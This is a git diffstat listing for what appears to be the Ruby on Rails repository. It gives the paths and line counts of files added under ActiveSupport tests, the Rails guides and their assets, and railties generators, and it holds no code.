.../lib/active_support/testing/constant_lookup.rb | 54 +
.../lib/active_support/testing/declarative.rb | 40 +
.../lib/active_support/testing/deprecation.rb | 36 +
.../lib/active_support/testing/isolation.rb | 137 +
.../lib/active_support/testing/pending.rb | 14 +
.../active_support/testing/setup_and_teardown.rb | 35 +
.../lib/active_support/testing/tagged_logging.rb | 25 +
activesupport/lib/active_support/time.rb | 20 +
activesupport/lib/active_support/time_with_zone.rb | 405 +++
.../lib/active_support/values/time_zone.rb | 429 +++
.../lib/active_support/values/unicode_tables.dat | Bin 0 -> 904483 bytes
activesupport/lib/active_support/version.rb | 11 +
activesupport/lib/active_support/xml_mini.rb | 189 +
activesupport/lib/active_support/xml_mini/jdom.rb | 180 +
.../lib/active_support/xml_mini/libxml.rb | 79 +
.../lib/active_support/xml_mini/libxmlsax.rb | 85 +
.../lib/active_support/xml_mini/nokogiri.rb | 83 +
.../lib/active_support/xml_mini/nokogirisax.rb | 87 +
activesupport/lib/active_support/xml_mini/rexml.rb | 129 +
activesupport/test/abstract_unit.rb | 27 +
activesupport/test/autoload_test.rb | 70 +
activesupport/test/autoloading_fixtures/a/b.rb | 2 +
activesupport/test/autoloading_fixtures/a/c/d.rb | 2 +
activesupport/test/autoloading_fixtures/a/c/e/f.rb | 2 +
.../test/autoloading_fixtures/application.rb | 1 +
.../test/autoloading_fixtures/circular1.rb | 6 +
.../test/autoloading_fixtures/circular2.rb | 4 +
.../test/autoloading_fixtures/class_folder.rb | 3 +
.../class_folder/class_folder_subclass.rb | 3 +
.../class_folder/inline_class.rb | 2 +
.../class_folder/nested_class.rb | 7 +
.../test/autoloading_fixtures/conflict.rb | 1 +
.../test/autoloading_fixtures/counting_loader.rb | 5 +
.../autoloading_fixtures/cross_site_dependency.rb | 2 +
activesupport/test/autoloading_fixtures/e.rb | 2 +
.../load_path/loaded_constant.rb | 3 +
.../test/autoloading_fixtures/loads_constant.rb | 5 +
.../module_folder/inline_class.rb | 2 +
.../module_folder/nested_class.rb | 4 +
.../module_folder/nested_sibling.rb | 2 +
.../module_with_custom_const_missing/a/b.rb | 1 +
.../autoloading_fixtures/multiple_constant_file.rb | 2 +
.../test/autoloading_fixtures/raises_name_error.rb | 3 +
.../autoloading_fixtures/raises_no_method_error.rb | 3 +
.../test/autoloading_fixtures/requires_constant.rb | 5 +
.../autoloading_fixtures/should_not_be_required.rb | 1 +
activesupport/test/benchmarkable_test.rb | 62 +
activesupport/test/broadcast_logger_test.rb | 82 +
activesupport/test/caching_test.rb | 971 +++++
activesupport/test/callback_inheritance_test.rb | 176 +
activesupport/test/callbacks_test.rb | 782 ++++
activesupport/test/class_cache_test.rb | 78 +
activesupport/test/clean_backtrace_test.rb | 49 +
activesupport/test/clean_logger_test.rb | 29 +
activesupport/test/concern_test.rb | 94 +
activesupport/test/configurable_test.rb | 109 +
activesupport/test/constantize_test_cases.rb | 75 +
activesupport/test/core_ext/array_ext_test.rb | 471 +++
activesupport/test/core_ext/bigdecimal_test.rb | 22 +
activesupport/test/core_ext/blank_test.rb | 24 +
.../test/core_ext/class/attribute_accessor_test.rb | 61 +
.../test/core_ext/class/attribute_test.rb | 91 +
.../core_ext/class/delegating_attributes_test.rb | 97 +
activesupport/test/core_ext/class_test.rb | 28 +
.../test/core_ext/date_and_time_behavior.rb | 241 ++
activesupport/test/core_ext/date_ext_test.rb | 373 ++
activesupport/test/core_ext/date_time_ext_test.rb | 344 ++
activesupport/test/core_ext/deep_dup_test.rb | 53 +
activesupport/test/core_ext/duplicable_test.rb | 38 +
activesupport/test/core_ext/duration_test.rb | 152 +
activesupport/test/core_ext/enumerable_test.rb | 123 +
activesupport/test/core_ext/file_test.rb | 68 +
activesupport/test/core_ext/hash_ext_test.rb | 1455 ++++++++
activesupport/test/core_ext/integer_ext_test.rb | 30 +
activesupport/test/core_ext/kernel_test.rb | 124 +
activesupport/test/core_ext/load_error_test.rb | 32 +
activesupport/test/core_ext/marshal_test.rb | 124 +
.../test/core_ext/module/anonymous_test.rb | 14 +
.../test/core_ext/module/attr_internal_test.rb | 53 +
.../core_ext/module/attribute_accessor_test.rb | 61 +
.../core_ext/module/attribute_aliasing_test.rb | 59 +
.../test/core_ext/module/qualified_const_test.rb | 108 +
.../test/core_ext/module/reachable_test.rb | 41 +
.../test/core_ext/module/remove_method_test.rb | 29 +
activesupport/test/core_ext/module_test.rb | 473 +++
activesupport/test/core_ext/name_error_test.rb | 21 +
activesupport/test/core_ext/numeric_ext_test.rb | 497 +++
.../test/core_ext/object/inclusion_test.rb | 60 +
.../test/core_ext/object/to_param_test.rb | 19 +
.../test/core_ext/object/to_query_test.rb | 53 +
.../test/core_ext/object_and_class_ext_test.rb | 181 +
activesupport/test/core_ext/proc_test.rb | 14 +
activesupport/test/core_ext/range_ext_test.rb | 119 +
activesupport/test/core_ext/regexp_ext_test.rb | 10 +
activesupport/test/core_ext/string_ext_test.rb | 744 ++++
activesupport/test/core_ext/struct_test.rb | 10 +
activesupport/test/core_ext/thread_test.rb | 77 +
activesupport/test/core_ext/time_ext_test.rb | 864 +++++
activesupport/test/core_ext/time_with_zone_test.rb | 1130 ++++++
activesupport/test/core_ext/uri_ext_test.rb | 13 +
activesupport/test/dependencies/check_warnings.rb | 2 +
activesupport/test/dependencies/conflict.rb | 1 +
.../test/dependencies/cross_site_depender.rb | 3 +
activesupport/test/dependencies/mutual_one.rb | 4 +
activesupport/test/dependencies/mutual_two.rb | 4 +
.../test/dependencies/raises_exception.rb | 3 +
.../test/dependencies/requires_nonexistent0.rb | 1 +
.../test/dependencies/requires_nonexistent1.rb | 1 +
activesupport/test/dependencies/service_one.rb | 5 +
activesupport/test/dependencies/service_two.rb | 2 +
activesupport/test/dependencies_test.rb | 979 +++++
activesupport/test/dependencies_test_helpers.rb | 27 +
.../test/deprecation/basic_object_test.rb | 12 +
.../test/deprecation/buffered_logger_test.rb | 22 +
.../test/deprecation/proxy_wrappers_test.rb | 22 +
activesupport/test/deprecation_test.rb | 345 ++
.../test/descendants_tracker_test_cases.rb | 65 +
.../descendants_tracker_with_autoloading_test.rb | 34 +
...descendants_tracker_without_autoloading_test.rb | 7 +
activesupport/test/empty_bool.rb | 7 +
activesupport/test/file_update_checker_test.rb | 112 +
.../test/fixtures/autoload/another_class.rb | 2 +
activesupport/test/fixtures/autoload/some_class.rb | 2 +
activesupport/test/fixtures/custom.rb | 2 +
activesupport/test/fixtures/xml/jdom_doctype.dtd | 1 +
activesupport/test/fixtures/xml/jdom_entities.txt | 1 +
activesupport/test/fixtures/xml/jdom_include.txt | 1 +
activesupport/test/gzip_test.rb | 33 +
activesupport/test/i18n_test.rb | 105 +
activesupport/test/inflector_test.rb | 502 +++
activesupport/test/inflector_test_cases.rb | 315 ++
activesupport/test/json/decoding_test.rb | 87 +
activesupport/test/json/encoding_test.rb | 343 ++
activesupport/test/key_generator_test.rb | 32 +
activesupport/test/lazy_load_hooks_test.rb | 96 +
activesupport/test/load_paths_test.rb | 16 +
activesupport/test/log_subscriber_test.rb | 123 +
activesupport/test/logger_test.rb | 133 +
activesupport/test/message_encryptor_test.rb | 85 +
activesupport/test/message_verifier_test.rb | 60 +
activesupport/test/multibyte_chars_test.rb | 713 ++++
activesupport/test/multibyte_conformance.rb | 129 +
activesupport/test/multibyte_test_helpers.rb | 19 +
.../test/multibyte_unicode_database_test.rb | 26 +
.../notifications/evented_notification_test.rb | 87 +
.../test/notifications/instrumenter_test.rb | 58 +
activesupport/test/notifications_test.rb | 244 ++
activesupport/test/number_helper_i18n_test.rb | 156 +
activesupport/test/number_helper_test.rb | 381 ++
activesupport/test/option_merger_test.rb | 86 +
activesupport/test/ordered_hash_test.rb | 319 ++
activesupport/test/ordered_options_test.rb | 88 +
activesupport/test/rescuable_test.rb | 105 +
activesupport/test/safe_buffer_test.rb | 143 +
activesupport/test/string_inquirer_test.rb | 23 +
activesupport/test/tagged_logging_test.rb | 102 +
activesupport/test/test_case_test.rb | 118 +
activesupport/test/test_test.rb | 206 ++
activesupport/test/testing/constant_lookup_test.rb | 69 +
activesupport/test/time_zone_test.rb | 367 ++
activesupport/test/transliterate_test.rb | 35 +
activesupport/test/ts_isolated.rb | 16 +
activesupport/test/xml_mini/jdom_engine_test.rb | 188 +
activesupport/test/xml_mini/libxml_engine_test.rb | 203 ++
.../test/xml_mini/libxmlsax_engine_test.rb | 194 +
.../test/xml_mini/nokogiri_engine_test.rb | 216 ++
.../test/xml_mini/nokogirisax_engine_test.rb | 217 ++
activesupport/test/xml_mini/rexml_engine_test.rb | 36 +
activesupport/test/xml_mini_test.rb | 164 +
ci/travis.rb | 131 +
guides/.document | 0
guides/CHANGELOG.md | 12 +
guides/Rakefile | 77 +
guides/assets/images/belongs_to.png | Bin 0 -> 26076 bytes
guides/assets/images/book_icon.gif | Bin 0 -> 329 bytes
guides/assets/images/bullet.gif | Bin 0 -> 60 bytes
guides/assets/images/challenge.png | Bin 0 -> 33373 bytes
guides/assets/images/chapters_icon.gif | Bin 0 -> 620 bytes
guides/assets/images/check_bullet.gif | Bin 0 -> 376 bytes
guides/assets/images/credits_pic_blank.gif | Bin 0 -> 597 bytes
guides/assets/images/csrf.png | Bin 0 -> 32179 bytes
guides/assets/images/edge_badge.png | Bin 0 -> 5964 bytes
guides/assets/images/favicon.ico | Bin 0 -> 1150 bytes
guides/assets/images/feature_tile.gif | Bin 0 -> 43 bytes
guides/assets/images/footer_tile.gif | Bin 0 -> 44 bytes
guides/assets/images/fxn.png | Bin 0 -> 20664 bytes
.../images/getting_started/confirm_dialog.png | Bin 0 -> 29542 bytes
.../forbidden_attributes_for_new_post.png | Bin 0 -> 33796 bytes
.../images/getting_started/form_with_errors.png | Bin 0 -> 14031 bytes
.../index_action_with_edit_link.png | Bin 0 -> 9772 bytes
guides/assets/images/getting_started/new_post.png | Bin 0 -> 5888 bytes
.../images/getting_started/post_with_comments.png | Bin 0 -> 18496 bytes
.../routing_error_no_controller.png | Bin 0 -> 9791 bytes
.../routing_error_no_route_matches.png | Bin 0 -> 11238 bytes
.../getting_started/show_action_for_posts.png | Bin 0 -> 2991 bytes
.../template_is_missing_posts_new.png | Bin 0 -> 21327 bytes
.../getting_started/undefined_method_post_path.png | Bin 0 -> 9217 bytes
.../unknown_action_create_for_posts.png | Bin 0 -> 17698 bytes
.../unknown_action_new_for_posts.png | Bin 0 -> 12795 bytes
guides/assets/images/grey_bullet.gif | Bin 0 -> 37 bytes
guides/assets/images/habtm.png | Bin 0 -> 49332 bytes
guides/assets/images/has_many.png | Bin 0 -> 28988 bytes
guides/assets/images/has_many_through.png | Bin 0 -> 79428 bytes
guides/assets/images/has_one.png | Bin 0 -> 29072 bytes
guides/assets/images/has_one_through.png | Bin 0 -> 72434 bytes
guides/assets/images/header_backdrop.png | Bin 0 -> 224 bytes
guides/assets/images/header_tile.gif | Bin 0 -> 44 bytes
guides/assets/images/i18n/demo_html_safe.png | Bin 0 -> 10073 bytes
.../assets/images/i18n/demo_localized_pirate.png | Bin 0 -> 11485 bytes
guides/assets/images/i18n/demo_translated_en.png | Bin 0 -> 9325 bytes
.../assets/images/i18n/demo_translated_pirate.png | Bin 0 -> 10202 bytes
.../images/i18n/demo_translation_missing.png | Bin 0 -> 10260 bytes
guides/assets/images/i18n/demo_untranslated.png | Bin 0 -> 9224 bytes
guides/assets/images/icons/README | 5 +
guides/assets/images/icons/callouts/1.png | Bin 0 -> 147 bytes
guides/assets/images/icons/callouts/10.png | Bin 0 -> 183 bytes
guides/assets/images/icons/callouts/11.png | Bin 0 -> 290 bytes
guides/assets/images/icons/callouts/12.png | Bin 0 -> 322 bytes
guides/assets/images/icons/callouts/13.png | Bin 0 -> 328 bytes
guides/assets/images/icons/callouts/14.png | Bin 0 -> 246 bytes
guides/assets/images/icons/callouts/15.png | Bin 0 -> 340 bytes
guides/assets/images/icons/callouts/2.png | Bin 0 -> 168 bytes
guides/assets/images/icons/callouts/3.png | Bin 0 -> 170 bytes
guides/assets/images/icons/callouts/4.png | Bin 0 -> 165 bytes
guides/assets/images/icons/callouts/5.png | Bin 0 -> 169 bytes
guides/assets/images/icons/callouts/6.png | Bin 0 -> 176 bytes
guides/assets/images/icons/callouts/7.png | Bin 0 -> 160 bytes
guides/assets/images/icons/callouts/8.png | Bin 0 -> 176 bytes
guides/assets/images/icons/callouts/9.png | Bin 0 -> 177 bytes
guides/assets/images/icons/caution.png | Bin 0 -> 2300 bytes
guides/assets/images/icons/example.png | Bin 0 -> 2079 bytes
guides/assets/images/icons/home.png | Bin 0 -> 1163 bytes
guides/assets/images/icons/important.png | Bin 0 -> 2451 bytes
guides/assets/images/icons/next.png | Bin 0 -> 1146 bytes
guides/assets/images/icons/note.png | Bin 0 -> 2155 bytes
guides/assets/images/icons/prev.png | Bin 0 -> 1126 bytes
guides/assets/images/icons/tip.png | Bin 0 -> 2248 bytes
guides/assets/images/icons/up.png | Bin 0 -> 1133 bytes
guides/assets/images/icons/warning.png | Bin 0 -> 2616 bytes
guides/assets/images/jaimeiniesta.jpg | Bin 0 -> 11913 bytes
guides/assets/images/nav_arrow.gif | Bin 0 -> 419 bytes
guides/assets/images/oscardelben.jpg | Bin 0 -> 6299 bytes
guides/assets/images/polymorphic.png | Bin 0 -> 66415 bytes
guides/assets/images/radar.png | Bin 0 -> 19521 bytes
guides/assets/images/rails4_features.png | Bin 0 -> 132154 bytes
guides/assets/images/rails_guides_kindle_cover.jpg | Bin 0 -> 31785 bytes
guides/assets/images/rails_guides_logo.gif | Bin 0 -> 5106 bytes
guides/assets/images/rails_logo_remix.gif | Bin 0 -> 8533 bytes
guides/assets/images/rails_welcome.png | Bin 0 -> 71979 bytes
guides/assets/images/session_fixation.png | Bin 0 -> 38451 bytes
guides/assets/images/tab_grey.gif | Bin 0 -> 4684 bytes
guides/assets/images/tab_info.gif | Bin 0 -> 4522 bytes
guides/assets/images/tab_note.gif | Bin 0 -> 4566 bytes
guides/assets/images/tab_red.gif | Bin 0 -> 4507 bytes
guides/assets/images/tab_yellow.gif | Bin 0 -> 4519 bytes
guides/assets/images/tab_yellow.png | Bin 0 -> 1441 bytes
guides/assets/images/vijaydev.jpg | Bin 0 -> 4610 bytes
guides/assets/javascripts/guides.js | 57 +
guides/assets/javascripts/jquery.min.js | 4 +
guides/assets/javascripts/responsive-tables.js | 43 +
.../javascripts/syntaxhighlighter/shBrushAS3.js | 59 +
.../syntaxhighlighter/shBrushAppleScript.js | 75 +
.../javascripts/syntaxhighlighter/shBrushBash.js | 59 +
.../javascripts/syntaxhighlighter/shBrushCSharp.js | 65 +
.../syntaxhighlighter/shBrushColdFusion.js | 100 +
.../javascripts/syntaxhighlighter/shBrushCpp.js | 97 +
.../javascripts/syntaxhighlighter/shBrushCss.js | 91 +
.../javascripts/syntaxhighlighter/shBrushDelphi.js | 55 +
.../javascripts/syntaxhighlighter/shBrushDiff.js | 41 +
.../javascripts/syntaxhighlighter/shBrushErlang.js | 52 +
.../javascripts/syntaxhighlighter/shBrushGroovy.js | 67 +
.../syntaxhighlighter/shBrushJScript.js | 52 +
.../javascripts/syntaxhighlighter/shBrushJava.js | 57 +
.../javascripts/syntaxhighlighter/shBrushJavaFX.js | 58 +
.../javascripts/syntaxhighlighter/shBrushPerl.js | 72 +
.../javascripts/syntaxhighlighter/shBrushPhp.js | 88 +
.../javascripts/syntaxhighlighter/shBrushPlain.js | 33 +
.../syntaxhighlighter/shBrushPowerShell.js | 74 +
.../javascripts/syntaxhighlighter/shBrushPython.js | 64 +
.../javascripts/syntaxhighlighter/shBrushRuby.js | 55 +
.../javascripts/syntaxhighlighter/shBrushSass.js | 94 +
.../javascripts/syntaxhighlighter/shBrushScala.js | 51 +
.../javascripts/syntaxhighlighter/shBrushSql.js | 66 +
.../javascripts/syntaxhighlighter/shBrushVb.js | 56 +
.../javascripts/syntaxhighlighter/shBrushXml.js | 69 +
.../assets/javascripts/syntaxhighlighter/shCore.js | 17 +
guides/assets/stylesheets/fixes.css | 16 +
guides/assets/stylesheets/kindle.css | 11 +
guides/assets/stylesheets/main.css | 709 ++++
guides/assets/stylesheets/print.css | 52 +
guides/assets/stylesheets/reset.css | 43 +
guides/assets/stylesheets/responsive-tables.css | 50 +
guides/assets/stylesheets/style.css | 13 +
.../stylesheets/syntaxhighlighter/shCore.css | 226 ++
.../syntaxhighlighter/shCoreDefault.css | 328 ++
.../stylesheets/syntaxhighlighter/shCoreDjango.css | 331 ++
.../syntaxhighlighter/shCoreEclipse.css | 339 ++
.../stylesheets/syntaxhighlighter/shCoreEmacs.css | 324 ++
.../syntaxhighlighter/shCoreFadeToGrey.css | 328 ++
.../syntaxhighlighter/shCoreMDUltra.css | 324 ++
.../syntaxhighlighter/shCoreMidnight.css | 324 ++
.../stylesheets/syntaxhighlighter/shCoreRDark.css | 324 ++
.../syntaxhighlighter/shThemeDefault.css | 117 +
.../syntaxhighlighter/shThemeDjango.css | 120 +
.../syntaxhighlighter/shThemeEclipse.css | 128 +
.../stylesheets/syntaxhighlighter/shThemeEmacs.css | 113 +
.../syntaxhighlighter/shThemeFadeToGrey.css | 117 +
.../syntaxhighlighter/shThemeMDUltra.css | 113 +
.../syntaxhighlighter/shThemeMidnight.css | 113 +
.../stylesheets/syntaxhighlighter/shThemeRDark.css | 113 +
.../syntaxhighlighter/shThemeRailsGuides.css | 116 +
guides/bug_report_templates/active_record_gem.rb | 37 +
.../bug_report_templates/active_record_master.rb | 48 +
guides/code/getting_started/.gitignore | 16 +
guides/code/getting_started/Gemfile | 43 +
guides/code/getting_started/Gemfile.lock | 150 +
guides/code/getting_started/README.rdoc | 28 +
guides/code/getting_started/Rakefile | 6 +
.../app/assets/javascripts/application.js | 16 +
.../app/assets/javascripts/comments.js.coffee | 3 +
.../app/assets/javascripts/posts.js.coffee | 3 +
.../app/assets/javascripts/welcome.js.coffee | 3 +
.../app/assets/stylesheets/application.css | 13 +
.../app/assets/stylesheets/comments.css.scss | 3 +
.../app/assets/stylesheets/posts.css.scss | 3 +
.../app/assets/stylesheets/welcome.css.scss | 3 +
.../app/controllers/application_controller.rb | 5 +
.../app/controllers/comments_controller.rb | 17 +
.../getting_started/app/controllers/concerns/.keep | 0
.../app/controllers/posts_controller.rb | 47 +
.../app/controllers/welcome_controller.rb | 4 +
.../app/helpers/application_helper.rb | 2 +
.../getting_started/app/helpers/comments_helper.rb | 2 +
.../getting_started/app/helpers/posts_helper.rb | 2 +
.../getting_started/app/helpers/welcome_helper.rb | 2 +
guides/code/getting_started/app/mailers/.keep | 0
guides/code/getting_started/app/models/.keep | 0
guides/code/getting_started/app/models/comment.rb | 3 +
.../code/getting_started/app/models/concerns/.keep | 0
guides/code/getting_started/app/models/post.rb | 7 +
.../app/views/comments/_comment.html.erb | 15 +
.../app/views/comments/_form.html.erb | 13 +
.../app/views/layouts/application.html.erb | 14 +
.../getting_started/app/views/posts/_form.html.erb | 27 +
.../getting_started/app/views/posts/edit.html.erb | 5 +
.../getting_started/app/views/posts/index.html.erb | 21 +
.../getting_started/app/views/posts/new.html.erb | 5 +
.../getting_started/app/views/posts/show.html.erb | 18 +
.../app/views/welcome/index.html.erb | 3 +
guides/code/getting_started/bin/bundle | 4 +
guides/code/getting_started/bin/rails | 4 +
guides/code/getting_started/bin/rake | 4 +
guides/code/getting_started/config.ru | 4 +
guides/code/getting_started/config/application.rb | 18 +
guides/code/getting_started/config/boot.rb | 4 +
guides/code/getting_started/config/database.yml | 25 +
guides/code/getting_started/config/environment.rb | 5 +
.../config/environments/development.rb | 30 +
.../config/environments/production.rb | 80 +
.../getting_started/config/environments/test.rb | 36 +
.../config/initializers/backtrace_silencers.rb | 7 +
.../initializers/filter_parameter_logging.rb | 4 +
.../config/initializers/inflections.rb | 16 +
.../getting_started/config/initializers/locale.rb | 9 +
.../config/initializers/mime_types.rb | 5 +
.../config/initializers/secret_token.rb | 12 +
.../config/initializers/session_store.rb | 3 +
.../config/initializers/wrap_parameters.rb | 14 +
guides/code/getting_started/config/locales/en.yml | 23 +
guides/code/getting_started/config/routes.rb | 7 +
.../db/migrate/20130122042648_create_posts.rb | 10 +
.../db/migrate/20130122045842_create_comments.rb | 11 +
guides/code/getting_started/db/schema.rb | 33 +
guides/code/getting_started/db/seeds.rb | 7 +
guides/code/getting_started/lib/assets/.keep | 0
guides/code/getting_started/lib/tasks/.keep | 0
guides/code/getting_started/log/.keep | 0
guides/code/getting_started/public/404.html | 58 +
guides/code/getting_started/public/422.html | 58 +
guides/code/getting_started/public/500.html | 57 +
guides/code/getting_started/public/favicon.ico | 0
guides/code/getting_started/public/robots.txt | 5 +
guides/code/getting_started/test/controllers/.keep | 0
.../test/controllers/comments_controller_test.rb | 7 +
.../test/controllers/posts_controller_test.rb | 7 +
.../test/controllers/welcome_controller_test.rb | 9 +
guides/code/getting_started/test/fixtures/.keep | 0
.../getting_started/test/fixtures/comments.yml | 11 +
.../code/getting_started/test/fixtures/posts.yml | 9 +
guides/code/getting_started/test/helpers/.keep | 0
.../test/helpers/comments_helper_test.rb | 4 +
.../test/helpers/posts_helper_test.rb | 4 +
.../test/helpers/welcome_helper_test.rb | 4 +
guides/code/getting_started/test/integration/.keep | 0
guides/code/getting_started/test/mailers/.keep | 0
guides/code/getting_started/test/models/.keep | 0
.../getting_started/test/models/comment_test.rb | 7 +
.../code/getting_started/test/models/post_test.rb | 7 +
guides/code/getting_started/test/test_helper.rb | 15 +
.../vendor/assets/javascripts/.keep | 0
.../vendor/assets/stylesheets/.keep | 0
guides/rails_guides.rb | 44 +
guides/rails_guides/generator.rb | 248 ++
guides/rails_guides/helpers.rb | 51 +
guides/rails_guides/indexer.rb | 68 +
guides/rails_guides/kindle.rb | 119 +
guides/rails_guides/levenshtein.rb | 31 +
guides/rails_guides/markdown.rb | 163 +
guides/rails_guides/markdown/renderer.rb | 82 +
guides/source/2_2_release_notes.md | 435 +++
guides/source/2_3_release_notes.md | 621 ++++
guides/source/3_0_release_notes.md | 614 ++++
guides/source/3_1_release_notes.md | 556 +++
guides/source/3_2_release_notes.md | 565 +++
guides/source/4_0_release_notes.md | 222 ++
guides/source/_license.html.erb | 2 +
guides/source/_welcome.html.erb | 19 +
guides/source/action_controller_overview.md | 1026 ++++++
guides/source/action_mailer_basics.md | 704 ++++
guides/source/action_view_overview.md | 1560 ++++++++
guides/source/active_model_basics.md | 200 +
guides/source/active_record_basics.md | 373 ++
guides/source/active_record_callbacks.md | 358 ++
guides/source/active_record_querying.md | 1694 +++++++++
guides/source/active_record_validations.md | 1169 ++++++
guides/source/active_support_core_extensions.md | 3811 ++++++++++++++++++++
guides/source/active_support_instrumentation.md | 487 +++
guides/source/api_documentation_guidelines.md | 209 ++
guides/source/asset_pipeline.md | 832 +++++
guides/source/association_basics.md | 2153 +++++++++++
guides/source/caching_with_rails.md | 345 ++
guides/source/command_line.md | 594 +++
guides/source/configuring.md | 736 ++++
guides/source/contributing_to_ruby_on_rails.md | 488 +++
guides/source/credits.html.erb | 76 +
guides/source/debugging_rails_applications.md | 672 ++++
guides/source/development_dependencies_install.md | 195 +
guides/source/documents.yaml | 183 +
guides/source/engines.md | 966 +++++
guides/source/form_helpers.md | 976 +++++
guides/source/generators.md | 644 ++++
guides/source/getting_started.md | 1776 +++++++++
guides/source/i18n.md | 1005 ++++++
guides/source/index.html.erb | 27 +
guides/source/initialization.md | 562 +++
guides/source/kindle/KINDLE.md | 26 +
guides/source/kindle/copyright.html.erb | 1 +
guides/source/kindle/layout.html.erb | 27 +
guides/source/kindle/rails_guides.opf.erb | 52 +
guides/source/kindle/toc.html.erb | 24 +
guides/source/kindle/toc.ncx.erb | 64 +
guides/source/kindle/welcome.html.erb | 5 +
guides/source/layout.html.erb | 148 +
guides/source/layouts_and_rendering.md | 1188 ++++++
guides/source/migrations.md | 1084 ++++++
guides/source/nested_model_forms.md | 225 ++
guides/source/plugins.md | 435 +++
guides/source/rails_application_templates.md | 229 ++
guides/source/rails_on_rack.md | 345 ++
guides/source/routing.md | 1104 ++++++
guides/source/ruby_on_rails_guides_guidelines.md | 124 +
guides/source/security.md | 973 +++++
guides/source/testing.md | 1002 +++++
guides/source/upgrading_ruby_on_rails.md | 389 ++
guides/source/working_with_javascript_in_rails.md | 397 ++
guides/w3c_validator.rb | 95 +
install.rb | 16 +
load_paths.rb | 3 +
rails.gemspec | 29 +
railties/.gitignore | 1 +
railties/CHANGELOG.md | 375 ++
railties/MIT-LICENSE | 20 +
railties/RDOC_MAIN.rdoc | 73 +
railties/README.rdoc | 37 +
railties/Rakefile | 62 +
railties/bin/rails | 9 +
railties/lib/rails.rb | 93 +
railties/lib/rails/all.rb | 14 +
railties/lib/rails/api/task.rb | 158 +
railties/lib/rails/app_rails_loader.rb | 61 +
railties/lib/rails/application.rb | 406 +++
railties/lib/rails/application/bootstrap.rb | 79 +
railties/lib/rails/application/configuration.rb | 159 +
railties/lib/rails/application/finisher.rb | 94 +
railties/lib/rails/application/routes_reloader.rb | 56 +
railties/lib/rails/backtrace_cleaner.rb | 27 +
railties/lib/rails/cli.rb | 16 +
railties/lib/rails/code_statistics.rb | 103 +
railties/lib/rails/code_statistics_calculator.rb | 79 +
railties/lib/rails/commands.rb | 113 +
railties/lib/rails/commands/application.rb | 43 +
railties/lib/rails/commands/console.rb | 101 +
railties/lib/rails/commands/dbconsole.rb | 174 +
railties/lib/rails/commands/destroy.rb | 9 +
railties/lib/rails/commands/generate.rb | 11 +
railties/lib/rails/commands/plugin_new.rb | 9 +
railties/lib/rails/commands/runner.rb | 54 +
railties/lib/rails/commands/server.rb | 123 +
railties/lib/rails/commands/update.rb | 9 +
railties/lib/rails/configuration.rb | 116 +
railties/lib/rails/console/app.rb | 32 +
railties/lib/rails/console/helpers.rb | 11 +
railties/lib/rails/deprecation.rb | 19 +
railties/lib/rails/engine.rb | 682 ++++
railties/lib/rails/engine/commands.rb | 41 +
railties/lib/rails/engine/configuration.rb | 91 +
railties/lib/rails/engine/railties.rb | 29 +
railties/lib/rails/generators.rb | 319 ++
railties/lib/rails/generators/actions.rb | 260 ++
railties/lib/rails/generators/active_model.rb | 86 +
railties/lib/rails/generators/app_base.rb | 290 ++
railties/lib/rails/generators/base.rb | 378 ++
.../generators/css/assets/assets_generator.rb | 13 +
.../generators/css/assets/templates/stylesheet.css | 4 +
.../generators/css/scaffold/scaffold_generator.rb | 16 +
railties/lib/rails/generators/erb.rb | 21 +
.../erb/controller/controller_generator.rb | 20 +
.../erb/controller/templates/view.html.erb | 2 +
.../generators/erb/mailer/mailer_generator.rb | 13 +
.../generators/erb/mailer/templates/view.text.erb | 3 +
.../generators/erb/scaffold/scaffold_generator.rb | 29 +
.../erb/scaffold/templates/_form.html.erb | 32 +
.../erb/scaffold/templates/edit.html.erb | 6 +
.../erb/scaffold/templates/index.html.erb | 31 +
.../generators/erb/scaffold/templates/new.html.erb | 5 +
.../erb/scaffold/templates/show.html.erb | 11 +
.../lib/rails/generators/generated_attribute.rb | 146 +
.../rails/generators/js/assets/assets_generator.rb | 13 +
.../generators/js/assets/templates/javascript.js | 2 +
railties/lib/rails/generators/migration.rb | 64 +
railties/lib/rails/generators/named_base.rb | 198 +
railties/lib/rails/generators/rails/app/USAGE | 15 +
.../rails/generators/rails/app/app_generator.rb | 295 ++
.../rails/generators/rails/app/templates/Gemfile | 32 +
.../generators/rails/app/templates/README.rdoc | 28 +
.../rails/generators/rails/app/templates/Rakefile | 6 +
.../rails/app/templates/app/assets/images/.keep | 0
.../app/assets/javascripts/application.js.tt | 18 +
.../app/assets/stylesheets/application.css | 13 +
.../app/controllers/application_controller.rb.tt | 5 +
.../templates/app/helpers/application_helper.rb | 2 +
.../app/views/layouts/application.html.erb.tt | 14 +
.../generators/rails/app/templates/bin/bundle | 2 +
.../rails/generators/rails/app/templates/bin/rails | 3 +
.../rails/generators/rails/app/templates/bin/rake | 3 +
.../rails/generators/rails/app/templates/config.ru | 4 +
.../rails/app/templates/config/application.rb | 37 +
.../generators/rails/app/templates/config/boot.rb | 4 +
.../app/templates/config/databases/frontbase.yml | 31 +
.../app/templates/config/databases/ibm_db.yml | 86 +
.../rails/app/templates/config/databases/jdbc.yml | 62 +
.../app/templates/config/databases/jdbcmysql.yml | 33 +
.../templates/config/databases/jdbcpostgresql.yml | 43 +
.../app/templates/config/databases/jdbcsqlite3.yml | 20 +
.../rails/app/templates/config/databases/mysql.yml | 51 +
.../app/templates/config/databases/oracle.yml | 39 +
.../app/templates/config/databases/postgresql.yml | 60 +
.../app/templates/config/databases/sqlite3.yml | 25 +
.../app/templates/config/databases/sqlserver.yml | 57 +
.../rails/app/templates/config/environment.rb | 5 +
.../config/environments/development.rb.tt | 33 +
.../templates/config/environments/production.rb.tt | 84 +
.../app/templates/config/environments/test.rb.tt | 36 +
.../config/initializers/backtrace_silencers.rb | 7 +
.../initializers/filter_parameter_logging.rb | 4 +
.../templates/config/initializers/inflections.rb | 16 +
.../templates/config/initializers/mime_types.rb | 5 +
.../config/initializers/secret_token.rb.tt | 12 +
.../config/initializers/session_store.rb.tt | 3 +
.../config/initializers/wrap_parameters.rb.tt | 16 +
.../rails/app/templates/config/locales/en.yml | 23 +
.../rails/app/templates/config/routes.rb | 49 +
.../generators/rails/app/templates/db/seeds.rb.tt | 7 +
.../rails/generators/rails/app/templates/gitignore | 16 +
.../generators/rails/app/templates/public/404.html | 58 +
.../generators/rails/app/templates/public/422.html | 58 +
.../generators/rails/app/templates/public/500.html | 57 +
.../rails/app/templates/public/favicon.ico | 0
.../rails/app/templates/public/robots.txt | 5 +
.../rails/app/templates/test/test_helper.rb | 17 +
railties/lib/rails/generators/rails/assets/USAGE | 20 +
.../generators/rails/assets/assets_generator.rb | 25 +
